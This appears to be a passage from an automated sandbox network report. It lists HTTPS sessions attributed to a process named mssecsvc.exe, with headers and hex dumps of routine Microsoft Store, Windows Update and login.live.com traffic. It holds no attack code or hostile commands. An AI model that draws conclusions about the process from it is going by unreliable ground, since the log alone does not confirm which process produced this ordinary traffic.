2022-07-21 02:34:21 UTC	94	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Jul 2022 02:33:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: df4f0752-428e-49c7-b444-efead5de0103 PPServer: PPV: 30 H: BL02PFC0A37EDAE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Jul 2022 02:34:21 GMT Connection: close Content-Length: 10793
2022-07-21 02:34:21 UTC	94	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	52049	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:33 UTC	8912	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113443Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:33 UTC	8912	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 9647e6e3-6320-4aa7-aabe-fc8a26cb3df1 Date: Thu, 21 Jul 2022 02:35:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	52093	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:33 UTC	8912	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113444Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:33 UTC	8913	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 3d161c00-8b4a-48ed-b32b-7f726f607b61 Date: Thu, 21 Jul 2022 02:35:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	52089	40.125.122.176	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:33 UTC	8913	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:33 UTC	8914	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: d56a2fe5-6e07-411d-a7be-071fc93a66aa MS-RequestId: 4baff4cf-3495-4b26-b070-3500392c35ff MS-CV: U94Zm0t7s02X/7m7.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:33 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:33 UTC	8915	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:33 UTC	8930	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:33 UTC	8946	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	52096	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:33 UTC	8913	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113445Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:33 UTC	8914	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: bba5ac8b-fc72-4f3a-a69d-c50f97af56e0 Date: Thu, 21 Jul 2022 02:35:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	52101	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:34 UTC	8950	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113447Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:34 UTC	8950	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 51ea7b58-be55-4678-b27d-910d390d8de4 Date: Thu, 21 Jul 2022 02:35:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	52142	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:34 UTC	8951	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113448Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:34 UTC	8951	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 46631aec-697d-4555-ab3f-81681eb267d4 Date: Thu, 21 Jul 2022 02:35:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	52141	52.242.101.226	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:34 UTC	8951	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-21 02:35:34 UTC	8952	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: ff15ea21-0524-4e04-a162-b58aec4742e2 MS-RequestId: 60bf1f36-ae8e-4762-a590-4b4b1049beb0 MS-CV: Y2Hcf551Ckejy95t.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 21 Jul 2022 02:35:34 GMT Connection: close Content-Length: 35877
2022-07-21 02:35:34 UTC	8953	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-21 02:35:34 UTC	8968	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-21 02:35:34 UTC	8984	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	52147	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:34 UTC	8952	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220721T113449Z&asid=8e1d346115d54b82b12368855488cdf3&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:34 UTC	8988	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 01554b29-b3ef-4f4a-adcf-3210f63cd0e5 Date: Thu, 21 Jul 2022 02:35:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	52150	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:34 UTC	8988	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113459Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:35 UTC	8988	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 288a1ec0-f51b-44f6-9fbc-09ed6f1a7e2c Date: Thu, 21 Jul 2022 02:35:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.6	52160	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:35 UTC	8989	OUT	GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113500Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:35 UTC	8989	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 4191c449-564a-4e58-8bd3-a58cdb0c12f2 Date: Thu, 21 Jul 2022 02:35:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.6	50202	40.126.31.67	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:21 UTC	105	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-21 02:34:21 UTC	105	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-21 02:34:22 UTC	130	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Jul 2022 02:33:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: c4e4ca32-61a8-4d81-b033-7d414188144d PPServer: PPV: 30 H: BL6PPFEE0C848E8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Jul 2022 02:34:21 GMT Connection: close Content-Length: 11093
2022-07-21 02:34:22 UTC	130	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.6	52197	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:35 UTC	8989	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113501Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:35 UTC	8990	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 2c0d475a-62e2-45a5-b217-3d7399776223 Date: Thu, 21 Jul 2022 02:35:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.6	52203	20.238.103.94	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:35:35 UTC	8990	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113501Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-21 02:35:35 UTC	8991	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 8f646e1d-3dd1-40cd-a5ed-9dd1ea79a648 Date: Thu, 21 Jul 2022 02:35:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
